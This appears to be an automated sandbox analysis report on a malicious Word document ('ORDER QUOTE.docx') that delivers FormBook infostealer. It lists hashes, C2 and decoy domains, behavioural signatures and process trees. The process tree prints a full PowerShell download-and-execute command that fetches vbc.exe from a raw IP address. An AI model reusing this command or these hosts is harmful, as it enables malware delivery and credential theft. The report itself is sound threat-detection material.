Analysis
-
max time kernel
147s -
max time network
192s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
22-09-2021 20:22
Static task
static1
Behavioral task
behavioral1
Sample
ORDER QUOTE.docx
Resource
win7v20210408
Behavioral task
behavioral2
Sample
ORDER QUOTE.docx
Resource
win10-en-20210920
General
-
Target
ORDER QUOTE.docx
-
Size
10KB
-
MD5
eee70c12ab889fd6173de81fbc9a6817
-
SHA1
673a841da220e5ba72e5f30d1d566569595ed352
-
SHA256
7c41d53d6dd4f2979bfcdea462feef025b2f31cf55644f927ece5f4699a1b7a9
-
SHA512
7647f0d5adcd468a6cbae4900ecb2887de0a0f89ba25893379f905f04b7b9ee0fa89af755c8cb1db8e4d613f11a8f9f80334de3e784677d1fac1ad51cc9db8d7
Malware Config
Extracted
http://198.46.199.161/joo/vbc.exe
Extracted
formbook
4.1
m8g0
http://www.psicologarenatacruz.com/m8g0/
trypapaya.pro
instructorcornernet.com
techadvisorsfl.com
raunnan.com
filestune.com
learnitanywhereskills.com
beaullife.com
getcovidwear.com
tkrbeautyinstitut.com
lisaphamkhai.com
iconicdds.com
ksoopawlas.com
testosteron.store
jctaketwo.com
awexz.online
onlinening.com
steelwerkschicago.com
lukakordic.com
expertsofcoaching.com
dashcca.com
xn--demiatdirecto-1ib.com
yuhongicm.com
portlandsiege.com
academysta.com
blackwiremedia.com
kent-ro-service.com
awmarkets.com
speleatherware.com
rehabcenters.space
jioscircle.com
sinijitu.com
analyticsyoda.com
shlqjt.com
bikramyogamarietta.com
crowncasino9.com
smokin-balls.com
shirasu-clinic.com
856379912.xyz
ckatesting.club
dideqsa.com
goodreporters.com
bromosyon.com
ilkonceyayincilik.com
domennyarendi32.net
thegrowthinn.com
qsgasia.com
venolbolivia.com
myhalloweengift.com
deeparchivesport.com
stiltedstories.com
btcdonation.info
little-darling.com
maximumpotentialfitness.net
iading.com
datingwithgusto.com
abncustompainting.com
cropadvisorjobs.com
nanoring.info
best-practice-gastro.com
sellitech.net
mixonsolutions.com
throughthelineagency.com
gtat.pro
relicstudios.net
Signatures
-
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral1/memory/1804-125-0x0000000000400000-0x000000000042F000-memory.dmp formbook behavioral1/memory/1804-126-0x000000000041F1B0-mapping.dmp formbook behavioral1/memory/1528-133-0x0000000000080000-0x00000000000AF000-memory.dmp formbook -
Blocklisted process makes network request 2 IoCs
Processes:
EQNEDT32.EXEpowershell.exeflow pid process 11 1732 EQNEDT32.EXE 12 1088 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 3 IoCs
Processes:
regasm.exevbc.exevbc.exepid process 1392 regasm.exe 1836 vbc.exe 1804 vbc.exe -
Abuses OpenXML format to download file from external location 2 IoCs
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key opened \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Office\Common\Offline\Files\http://cml.lol/olxqqy WINWORD.EXE -
Loads dropped DLL 4 IoCs
Processes:
EQNEDT32.EXEpowershell.exevbc.exepid process 1732 EQNEDT32.EXE 1732 EQNEDT32.EXE 1336 powershell.exe 1836 vbc.exe -
Uses the VBS compiler for execution 1 TTPs
-
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
vbc.exevbc.execmmon32.exedescription pid process target process PID 1836 set thread context of 1804 1836 vbc.exe vbc.exe PID 1804 set thread context of 1200 1804 vbc.exe Explorer.EXE PID 1528 set thread context of 1200 1528 cmmon32.exe Explorer.EXE -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
-
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 332 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 18 IoCs
Processes:
powershell.exepowershell.exevbc.execmmon32.exepid process 1088 powershell.exe 1088 powershell.exe 1336 powershell.exe 1336 powershell.exe 1804 vbc.exe 1804 vbc.exe 1528 cmmon32.exe 1528 cmmon32.exe 1528 cmmon32.exe 1528 cmmon32.exe 1528 cmmon32.exe 1528 cmmon32.exe 1528 cmmon32.exe 1528 cmmon32.exe 1528 cmmon32.exe 1528 cmmon32.exe 1528 cmmon32.exe 1528 cmmon32.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 1200 Explorer.EXE -
Suspicious behavior: MapViewOfSection 5 IoCs
Processes:
vbc.execmmon32.exepid process 1804 vbc.exe 1804 vbc.exe 1804 vbc.exe 1528 cmmon32.exe 1528 cmmon32.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
powershell.exepowershell.exevbc.execmmon32.exeExplorer.EXEWINWORD.EXEdescription pid process Token: SeDebugPrivilege 1088 powershell.exe Token: SeDebugPrivilege 1336 powershell.exe Token: SeDebugPrivilege 1804 vbc.exe Token: SeDebugPrivilege 1528 cmmon32.exe Token: SeShutdownPrivilege 1200 Explorer.EXE Token: SeShutdownPrivilege 332 WINWORD.EXE Token: SeShutdownPrivilege 1200 Explorer.EXE Token: SeShutdownPrivilege 1200 Explorer.EXE Token: SeShutdownPrivilege 1200 Explorer.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
Explorer.EXEpid process 1200 Explorer.EXE 1200 Explorer.EXE -
Suspicious use of SendNotifyMessage 2 IoCs
Processes:
Explorer.EXEpid process 1200 Explorer.EXE 1200 Explorer.EXE -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 332 WINWORD.EXE 332 WINWORD.EXE -
Suspicious use of WriteProcessMemory 39 IoCs
Processes:
EQNEDT32.EXEWINWORD.EXEregasm.execmd.exepowershell.exevbc.exeExplorer.EXEcmmon32.exedescription pid process target process PID 1732 wrote to memory of 1392 1732 EQNEDT32.EXE regasm.exe PID 1732 wrote to memory of 1392 1732 EQNEDT32.EXE regasm.exe PID 1732 wrote to memory of 1392 1732 EQNEDT32.EXE regasm.exe PID 1732 wrote to memory of 1392 1732 EQNEDT32.EXE regasm.exe PID 332 wrote to memory of 1700 332 WINWORD.EXE splwow64.exe PID 332 wrote to memory of 1700 332 WINWORD.EXE splwow64.exe PID 332 wrote to memory of 1700 332 WINWORD.EXE splwow64.exe PID 332 wrote to memory of 1700 332 WINWORD.EXE splwow64.exe PID 1392 wrote to memory of 1756 1392 regasm.exe cmd.exe PID 1392 wrote to memory of 1756 1392 regasm.exe cmd.exe PID 1392 wrote to memory of 1756 1392 regasm.exe cmd.exe PID 1392 wrote to memory of 1756 1392 regasm.exe cmd.exe PID 1756 wrote to memory of 1088 1756 cmd.exe powershell.exe PID 1756 wrote to memory of 1088 1756 cmd.exe powershell.exe PID 1756 wrote to memory of 1088 1756 cmd.exe powershell.exe PID 1756 wrote to memory of 1088 1756 cmd.exe powershell.exe PID 1756 wrote to memory of 1336 1756 cmd.exe powershell.exe PID 1756 wrote to memory of 1336 1756 cmd.exe powershell.exe PID 1756 wrote to memory of 1336 1756 cmd.exe powershell.exe PID 1756 wrote to memory of 1336 1756 cmd.exe powershell.exe PID 1336 wrote to memory of 1836 1336 powershell.exe vbc.exe PID 1336 wrote to memory of 1836 1336 powershell.exe vbc.exe PID 1336 wrote to memory of 1836 1336 powershell.exe vbc.exe PID 1336 wrote to memory of 1836 1336 powershell.exe vbc.exe PID 1836 wrote to memory of 1804 1836 vbc.exe vbc.exe PID 1836 wrote to memory of 1804 1836 vbc.exe vbc.exe PID 1836 wrote to memory of 1804 1836 vbc.exe vbc.exe PID 1836 wrote to memory of 1804 1836 vbc.exe vbc.exe PID 1836 wrote to memory of 1804 1836 vbc.exe vbc.exe PID 1836 wrote to memory of 1804 1836 vbc.exe vbc.exe PID 1836 wrote to memory of 1804 1836 vbc.exe vbc.exe PID 1200 wrote to memory of 1528 1200 Explorer.EXE cmmon32.exe PID 1200 wrote to memory of 1528 1200 Explorer.EXE cmmon32.exe PID 1200 wrote to memory of 1528 1200 Explorer.EXE cmmon32.exe PID 1200 wrote to memory of 1528 1200 Explorer.EXE cmmon32.exe PID 1528 wrote to memory of 1716 1528 cmmon32.exe cmd.exe PID 1528 wrote to memory of 1716 1528 cmmon32.exe cmd.exe PID 1528 wrote to memory of 1716 1528 cmmon32.exe cmd.exe PID 1528 wrote to memory of 1716 1528 cmmon32.exe cmd.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ORDER QUOTE.docx"2⤵
- Abuses OpenXML format to download file from external location
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
-
C:\Windows\SysWOW64\cmmon32.exe"C:\Windows\SysWOW64\cmmon32.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\AppData\Local\Temp\vbc.exe"3⤵
-
C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\regasm.exe"C:\Users\Public\regasm.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c powershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')" & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))"4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')"4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\vbc.exe"C:\Users\Admin\AppData\Local\Temp\vbc.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\vbc.exe"C:\Users\Admin\AppData\Local\Temp\vbc.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96MD5
df44874327d79bd75e4264cb8dc01811
SHA11396b06debed65ea93c24998d244edebd3c0209d
SHA25655de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181
SHA51295dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afccMD5
be4d72095faf84233ac17b94744f7084
SHA1cc78ce5b9c57573bd214a8f423ee622b00ebb1ec
SHA256b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc
SHA51243856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75MD5
02ff38ac870de39782aeee04d7b48231
SHA10390d39fa216c9b0ecdb38238304e518fb2b5095
SHA256fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876
SHA51224a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ccb18ff-7a22-469e-90e7-ccc861e1432bMD5
b6d38f250ccc9003dd70efd3b778117f
SHA1d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a
SHA2564de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265
SHA51267d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bd47eb21-a96b-4ccd-99d7-0d9f3f6c10b6MD5
75a8da7754349b38d64c87c938545b1b
SHA15c28c257d51f1c1587e29164cc03ea880c21b417
SHA256bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96
SHA512798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c9b427a0-6073-4eb8-9b09-f8e4712d7ab5MD5
5e3c7184a75d42dda1a83606a45001d8
SHA194ca15637721d88f30eb4b6220b805c5be0360ed
SHA2568278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59
SHA512fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
9f91b19034598afd9d50351ded865e08
SHA1c256208fb17d0322c2830b711d909107e2614275
SHA2562dd762429574868e03b288f602785e8b804f124e3e4ce9ec76edbd912b9ce314
SHA512f8d0ec85da9d5a5c72ef86f82c118ee1020cb12bd7467f9655819923459d4ed7cd889294ae6a27ccc93fd8cf7a44a344fd4a93b3cdb93712b2ce7f52dc03b5b8
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msMD5
1997cd7c0cc6413026d7f4181a928f0b
SHA16899fcdd82de82e5e42b1df260e077efe172c511
SHA25677add70c7eab00932a8fd5035e824da90bf95d50e3a948baec52b14016a9792a
SHA5123c3303a58cc0b48c9d6d72ac362ccb3cfe2e9d21785b0cdbfc39b6909dcfc7a28844731e93daa61f4fb5ce6fa8660508e566fba440d041b334522b21d29d8e9f
-
C:\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
\Users\Admin\AppData\Local\Temp\vbc.exeMD5
3dac10541270990e15c8742b0cd6f153
SHA1ed5c87e500c51e055ddb9160929a3dac51d3a393
SHA256744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f
SHA51266f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1
-
\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
\Users\Public\regasm.exeMD5
7f06feab552ff5b4b5ea9c0c08a50982
SHA1fec42fd952353328a01939c949ccb7031be50530
SHA256053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0
SHA5129c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0
-
memory/332-137-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/332-59-0x0000000072511000-0x0000000072514000-memory.dmpFilesize
12KB
-
memory/332-62-0x0000000075FF1000-0x0000000075FF3000-memory.dmpFilesize
8KB
-
memory/332-61-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/332-60-0x000000006FF91000-0x000000006FF93000-memory.dmpFilesize
8KB
-
memory/1088-77-0x00000000022B0000-0x00000000022B1000-memory.dmpFilesize
4KB
-
memory/1088-73-0x0000000004790000-0x0000000004791000-memory.dmpFilesize
4KB
-
memory/1088-96-0x00000000062C0000-0x00000000062C1000-memory.dmpFilesize
4KB
-
memory/1088-78-0x0000000005290000-0x0000000005291000-memory.dmpFilesize
4KB
-
memory/1088-88-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
-
memory/1088-81-0x00000000056B0000-0x00000000056B1000-memory.dmpFilesize
4KB
-
memory/1088-71-0x0000000000000000-mapping.dmp
-
memory/1088-76-0x0000000004792000-0x0000000004793000-memory.dmpFilesize
4KB
-
memory/1088-95-0x00000000061F0000-0x00000000061F1000-memory.dmpFilesize
4KB
-
memory/1088-74-0x0000000002000000-0x0000000002001000-memory.dmpFilesize
4KB
-
memory/1088-75-0x00000000047D0000-0x00000000047D1000-memory.dmpFilesize
4KB
-
memory/1088-87-0x0000000006220000-0x0000000006221000-memory.dmpFilesize
4KB
-
memory/1088-86-0x00000000056F0000-0x00000000056F1000-memory.dmpFilesize
4KB
-
memory/1200-138-0x0000000007040000-0x00000000071C4000-memory.dmpFilesize
1.5MB
-
memory/1200-130-0x0000000005FD0000-0x0000000006138000-memory.dmpFilesize
1.4MB
-
memory/1336-103-0x00000000049F0000-0x00000000049F1000-memory.dmpFilesize
4KB
-
memory/1336-97-0x0000000000000000-mapping.dmp
-
memory/1336-104-0x00000000049F2000-0x00000000049F3000-memory.dmpFilesize
4KB
-
memory/1336-113-0x0000000005690000-0x0000000005691000-memory.dmpFilesize
4KB
-
memory/1336-102-0x0000000001150000-0x0000000001151000-memory.dmpFilesize
4KB
-
memory/1336-101-0x0000000004A30000-0x0000000004A31000-memory.dmpFilesize
4KB
-
memory/1336-100-0x0000000000C10000-0x0000000000C11000-memory.dmpFilesize
4KB
-
memory/1336-105-0x0000000004990000-0x0000000004991000-memory.dmpFilesize
4KB
-
memory/1392-66-0x0000000000000000-mapping.dmp
-
memory/1528-135-0x0000000001F10000-0x0000000002213000-memory.dmpFilesize
3.0MB
-
memory/1528-133-0x0000000000080000-0x00000000000AF000-memory.dmpFilesize
188KB
-
memory/1528-132-0x0000000000580000-0x000000000058D000-memory.dmpFilesize
52KB
-
memory/1528-131-0x0000000000000000-mapping.dmp
-
memory/1528-136-0x0000000001E20000-0x0000000001EB4000-memory.dmpFilesize
592KB
-
memory/1700-68-0x0000000000000000-mapping.dmp
-
memory/1700-69-0x000007FEFBBB1000-0x000007FEFBBB3000-memory.dmpFilesize
8KB
-
memory/1716-134-0x0000000000000000-mapping.dmp
-
memory/1756-70-0x0000000000000000-mapping.dmp
-
memory/1804-125-0x0000000000400000-0x000000000042F000-memory.dmpFilesize
188KB
-
memory/1804-128-0x0000000000B30000-0x0000000000E33000-memory.dmpFilesize
3.0MB
-
memory/1804-129-0x0000000000210000-0x0000000000225000-memory.dmpFilesize
84KB
-
memory/1804-126-0x000000000041F1B0-mapping.dmp
-
memory/1836-122-0x0000000004C40000-0x0000000004CA1000-memory.dmpFilesize
388KB
-
memory/1836-121-0x0000000004D30000-0x0000000004D31000-memory.dmpFilesize
4KB
-
memory/1836-120-0x0000000000630000-0x000000000064D000-memory.dmpFilesize
116KB
-
memory/1836-118-0x0000000000AA0000-0x0000000000AA1000-memory.dmpFilesize
4KB
-
memory/1836-123-0x0000000000A10000-0x0000000000A42000-memory.dmpFilesize
200KB
-
memory/1836-116-0x0000000000000000-mapping.dmp